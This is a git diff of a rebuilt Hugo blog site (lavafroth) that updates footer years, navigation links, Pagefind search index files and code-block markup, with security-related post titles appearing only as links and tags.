<a href=../../page/6/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a class=post-link aria-label="Operation Oni, Operation Orchid" href=https://lavafroth.is-a.dev/post/picoctf-forensics-operation-oni-operation-orchid/></a></article><nav data-main><a href=../../page/4/>Previous Page</a>
|
||||
<a href=../../page/6/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -1,4 +1,9 @@
|
||||
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.152.2"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Liberating 14GiB of disk space" href=https://lavafroth.is-a.dev/post/liberating-14gib-of-space/><h2>Liberating 14GiB of disk space</h2></a><time>Feb 21, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/powershell class=list-tag>Powershell</a>
|
||||
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.154.0"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label=JAuth href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/><h2>JAuth</h2></a><time>Feb 22, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/authentication-bypass class=list-tag>Authentication Bypass</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/jwt class=list-tag>JWT</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a>
|
||||
<a class=post-link aria-label=JAuth href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/></a></article><article><a aria-label="Liberating 14GiB of disk space" href=https://lavafroth.is-a.dev/post/liberating-14gib-of-space/><h2>Liberating 14GiB of disk space</h2></a><time>Feb 21, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/powershell class=list-tag>Powershell</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/windows class=list-tag>Windows</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/workflow class=list-tag>Workflow</a>
|
||||
<a class=post-link aria-label="Liberating 14GiB of disk space" href=https://lavafroth.is-a.dev/post/liberating-14gib-of-space/></a></article><article><a aria-label=Notepad href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/><h2>Notepad</h2></a><time>Feb 21, 2022 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
@@ -10,4 +15,4 @@
|
||||
<a class=post-link aria-label=Notepad href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/></a></article><article><a aria-label="Gadgeting in Python Jails" href=https://lavafroth.is-a.dev/post/gadgeting-in-python-jails/><h2>Gadgeting in Python Jails</h2></a><time>Dec 9, 2021 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/python class=list-tag>Python</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/sandbox-escape class=list-tag>Sandbox Escape</a>
|
||||
<a class=post-link aria-label="Gadgeting in Python Jails" href=https://lavafroth.is-a.dev/post/gadgeting-in-python-jails/></a></article><nav data-main><a href=../../page/5/>Previous Page</a>
|
||||
<a href=#>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=#>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
Binary file not shown.
BIN
pagefind/fragment/en-us_2725464.pf_fragment
Normal file
BIN
pagefind/fragment/en-us_2725464.pf_fragment
Normal file
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
pagefind/index/en-us_31de252.pf_index
Normal file
BIN
pagefind/index/en-us_31de252.pf_index
Normal file
Binary file not shown.
Binary file not shown.
BIN
pagefind/index/en-us_5ff8add.pf_index
Normal file
BIN
pagefind/index/en-us_5ff8add.pf_index
Normal file
Binary file not shown.
BIN
pagefind/index/en-us_98a180f.pf_index
Normal file
BIN
pagefind/index/en-us_98a180f.pf_index
Normal file
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
pagefind/index/en-us_de803b2.pf_index
Normal file
BIN
pagefind/index/en-us_de803b2.pf_index
Normal file
Binary file not shown.
BIN
pagefind/index/en-us_e9efbf9.pf_index
Normal file
BIN
pagefind/index/en-us_e9efbf9.pf_index
Normal file
Binary file not shown.
BIN
pagefind/index/en-us_fcec4af.pf_index
Normal file
BIN
pagefind/index/en-us_fcec4af.pf_index
Normal file
Binary file not shown.
@@ -1 +1 @@
|
||||
{"version":"1.0.3","languages":{"en-us":{"hash":"en-us_3cbf2253331fd","wasm":"en-us","page_count":59}}}
|
||||
{"version":"1.0.3","languages":{"en-us":{"hash":"en-us_56fbca3d5e149","wasm":"en-us","page_count":56}}}
|
||||
Binary file not shown.
BIN
pagefind/pagefind.en-us_56fbca3d5e149.pf_meta
Normal file
BIN
pagefind/pagefind.en-us_56fbca3d5e149.pf_meta
Normal file
Binary file not shown.
@@ -63,4 +63,4 @@ and the Rust project <a href=https://github.com/lavafroth/hm>here</a>.</p><p>Unt
|
||||
<a href=https://lavafroth.is-a.dev/tags/youtube class=list-tag>YouTube</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/animation class=list-tag>Animation</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/manim class=list-tag>Manim</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/keep-the-keys-clackin/><span>←</span><span>Keep the Keys Clackin'</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/a-sweet-little-config-parser/><span>A SWEET Little Parser</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/a-sweet-little-config-parser/><span>A SWEET Little Parser</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -64,4 +64,4 @@ The demo repo called <a href=https://github.com/lavafroth/sweet>sweet</a> (simpl
|
||||
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/google-summer-of-code class=list-tag>Google Summer of Code</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/2-afternoons-2-languages-2-tuis/><span>←</span><span>2 Afternoons, 2 Languages, 2 TUIs</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/wayland-tools-rock/><span>Wayland Tools Rock!</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/wayland-tools-rock/><span>Wayland Tools Rock!</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -38,4 +38,4 @@ if it isn’t already. That’s it!</p><p>Sysadmins need not apply.</p><
|
||||
<a href=https://lavafroth.is-a.dev/tags/automation class=list-tag>Automation</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/jellyfin class=list-tag>Jellyfin</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/photoprism class=list-tag>Photoprism</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/picoctf-sansalpha-writeup/><span>←</span><span>PicoCTF SansAlpha Writeup</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/><span>NixOS Secureboot Shenanigans</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/><span>NixOS Secureboot Shenanigans</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -52,9 +52,9 @@ channel.</li></ul><p>The macro would use the <code>quote!</code> macro to genera
|
||||
variant like the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#a6e22e>quote!</span>(
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>match</span> #enum_ident {
|
||||
</span></span><span style=display:flex><span> <span style=color:#75715e>// loop over the arms in the macro call
|
||||
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> #variant(#inner) <span style=color:#f92672>=></span> #inner_chan_tx.send(#inner);
|
||||
</span></span></span><span style=display:flex><span> #variant(#inner) <span style=color:#f92672>=></span> #inner_chan_tx.send(#inner);
|
||||
</span></span><span style=display:flex><span> <span style=color:#75715e>// ...
|
||||
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> }
|
||||
</span></span></span><span style=display:flex><span> }
|
||||
</span></span><span style=display:flex><span>)
|
||||
</span></span></code></pre></div><p>Using the match statement inside the generated code allows the default exhaustive
|
||||
checking of the variants. Programmers have the choice to explicitly opt out of
|
||||
@@ -75,4 +75,4 @@ and determine when it is ready to be sent off to the next layer.</p><h1 id=concl
|
||||
Hopefully, this makes the application code easier to understand and debug by making (even the concurrent) code flow in a more linear fashion.</p><p>That’s all for now. Bye!</p></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/meta class=list-tag>Meta</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/concurrency class=list-tag>Concurrency</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/kringlecon-2023-writeup/><span>←</span><span>Kringlecon 2023 Writeup</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/><span>Headache</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/><span>Headache</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -208,4 +208,5 @@ enums also play nicely with static type checkers, <em>goto-definitions</em> will
|
||||
lead you to the correct class definition.</p><p>I have packaged this decorator with a couple more typing restrictions into a library at <a href=https://github.com/lavafroth/ape>github:lavafroth/ape</a>.</p><p>I hope you enjoyed this foray into contorting Python.</p></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/python class=list-tag>Python</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/decorators class=list-tag>Decorators</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/algebraic-data-types class=list-tag>Algebraic Data Types</a></footer><nav data-post><br><a href=https://lavafroth.is-a.dev/post/nixos-notes-to-self/><span>NixOS Notes to Self</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/tags/algebraic-data-types class=list-tag>Algebraic Data Types</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/working-with-luks-file-stashes/><span>←</span><span>Working With LUKS File Stashes</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/nixos-notes-to-self/><span>NixOS Notes to Self</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -50,4 +50,4 @@ see you around!</p></section><footer class=post-tags data-pagefind-meta=tags><a
|
||||
<a href=https://lavafroth.is-a.dev/tags/meta class=list-tag>Meta</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/nixos class=list-tag>NixOS</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/android class=list-tag>Android</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/wayland-tools-rock/><span>←</span><span>Wayland Tools Rock!</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/kringlecon-2023-writeup/><span>Kringlecon 2023 Writeup</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/kringlecon-2023-writeup/><span>Kringlecon 2023 Writeup</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -22,4 +22,4 @@ I started using Lawnchair as my default launcher but this did not change the rec
|
||||
<a href=https://lavafroth.is-a.dev/tags//e/os class=list-tag>/e/OS</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/quickswitch class=list-tag>QuickSwitch</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/quickstep class=list-tag>QuickStep</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/nixos-notes-to-self/><span>←</span><span>NixOS Notes to Self</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/detecting-stripped-go-binaries/><span>Easy grep to detect stripped Go binaries</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/detecting-stripped-go-binaries/><span>Easy grep to detect stripped Go binaries</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -58,4 +58,4 @@ we can now reverse this transformation by <strong>xor</strong>ing them back with
|
||||
</code></pre></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/cryptography class=list-tag>Cryptography</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/><span>←</span><span>Headache</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/volcano-reverse-engineering-amateursctf-2023/><span>Volcano</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/volcano-reverse-engineering-amateursctf-2023/><span>Volcano</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -70,10 +70,10 @@ to use the default bash.</p><h2 id=the-flake>The flake</h2><div class=highlight>
|
||||
</span></span><span style=display:flex><span> }
|
||||
</span></span></code></pre></div><blockquote><p><em>Note:</em> This is <em>NOT</em> the same as containers. The most obvious way to tell is because
|
||||
you can access your NVIDIA GPU as is, without any passthrough shenanigans.</p></blockquote><p>Enter this flake development environment using <code>nix develop</code>.</p><h1 id=setting-up-pytorch>Setting up PyTorch</h1><p>Now that we have the scaffolding, we can use <code>micromamba</code> to install CUDA for our ML tooling.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>micromamba env create <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span> -n my-environment <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span> anaconda::cudatoolkit <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span> anaconda::cudnn <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span> <span style=color:#e6db74>"anaconda::pytorch=*=*cuda*"</span>
|
||||
</span></span></span><span style=display:flex><span> -n my-environment <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span> anaconda::cudatoolkit <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span> anaconda::cudnn <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span> <span style=color:#e6db74>"anaconda::pytorch=*=*cuda*"</span>
|
||||
</span></span></code></pre></div><p>Here I’m creating an environment called <code>my-environment</code> with <code>cudatoolkit</code>, <code>cudnn</code> and PyTorch. While installing PyTorch, make sure to
|
||||
pick a version whose name contains “cuda” like I did here, otherwise, it defaults to the CPU version.</p><p>You can also define a <code>micromamba</code> environment with a config file. Read more about it <a href=https://conda.io/projects/conda/en/latest/user-guide/manage-environments.html>here</a>.</p><p>Once the env gets created, use <code>micromamba activate my-environment</code> to hop right in. Profit!</p><h1 id=conclusion>Conclusion</h1><p>Although this is not the Nix way of doing things, with micromamba being imeperative, this is probably the quickest
|
||||
and most hassle free experience to start ML stuff on NixOS. I’ve seen quite a lot of friends giving up on NixOS because of how annoying closed source libraries like CUDA can be.</p><p>Share this article around if you found this hacky approach to have improved your developer experience. I’m banking on open source alternatives to pick up steam
|
||||
@@ -85,4 +85,4 @@ so that hopefully this article becomes irrelevant in the future.</p><p>Bye now.<
|
||||
<a href=https://lavafroth.is-a.dev/tags/nvidia class=list-tag>NVIDIA</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/cuda class=list-tag>CUDA</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/rant class=list-tag>Rant</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/the-gsoc-grand-finale/><span>←</span><span>Wrapping up GSoC 2024</span></a>
|
||||
